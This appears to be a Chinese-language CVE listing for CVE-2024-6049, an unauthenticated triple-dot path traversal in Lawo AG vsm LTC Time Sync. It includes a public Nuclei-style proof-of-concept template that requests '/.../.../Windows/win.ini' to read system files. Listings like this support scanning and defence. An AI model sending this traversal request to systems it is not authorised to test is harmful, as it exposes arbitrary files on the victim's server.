CVE-2024-6049: Lawo AG vsm LTC Time Sync (vTimeSync) - Path Traversal

日期: 2025-08-01 | 影响软件: Lawo AG vsm LTC Time Sync | POC: 已公开

漏洞描述

The web server of Lawo AG vsm LTC Time Sync (vTimeSync) is affected by a "..." (triple dot) path traversal vulnerability. By sending a specially crafted HTTP request, an unauthenticated remote attacker could download arbitrary files from the operating system. As a limitation, the exploitation is only possible if the requested file has some file extension, e. g. .exe or .txt.

PoC代码[已公开]

id: CVE-2024-6049

info:
  name: Lawo AG vsm LTC Time Sync (vTimeSync) - Path Traversal
  author: s4e-io
  severity: high
  description: |
    The web server of Lawo AG vsm LTC Time Sync (vTimeSync) is affected by a "..." (triple dot) path traversal vulnerability. By sending a specially crafted HTTP request, an unauthenticated remote attacker could download arbitrary files from the operating system. As a limitation, the exploitation is only possible if the requested file has some file extension, e. g. .exe or .txt.
  reference:
    - https://lawo.com/lawo-downloads/
    - https://r.sec-consult.com/lawo
    - https://packetstormsecurity.com/files/182347/Lawo-AG-vsm-LTC-Time-Sync-Path-Traversal.html
    - https://sec-consult.com/vulnerability-lab/advisory/unauthenticated-path-traversal-vulnerability-in-lawo-ag-vsm-ltc-time-sync-vtimesync/
    - https://nvd.nist.gov/vuln/detail/cve-2024-6049
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-6049
    cwe-id: CWE-32
    epss-score: 0.74231
    epss-percentile: 0.98798
  metadata:
    max-request: 2
  tags: cve,cve2024,lawo,vtimesync,lfi

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}

    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "vTimeSync"
          - "Lawo"
        internal: true
        case-insensitive: true

  - raw:
      - |
        GET /.../.../.../.../.../.../.../.../.../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "bit app support", "fonts", "extensions")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100c52d3aff0ff37843faac294f1e4eee7d7bd5d1956212ee2a3352997b4a0cb158022100977d4af3f06fe35700592713b093cb24b8d98153213f8b7d36330481ffff9dfa:922c64590222798bb761d5b6d8e72950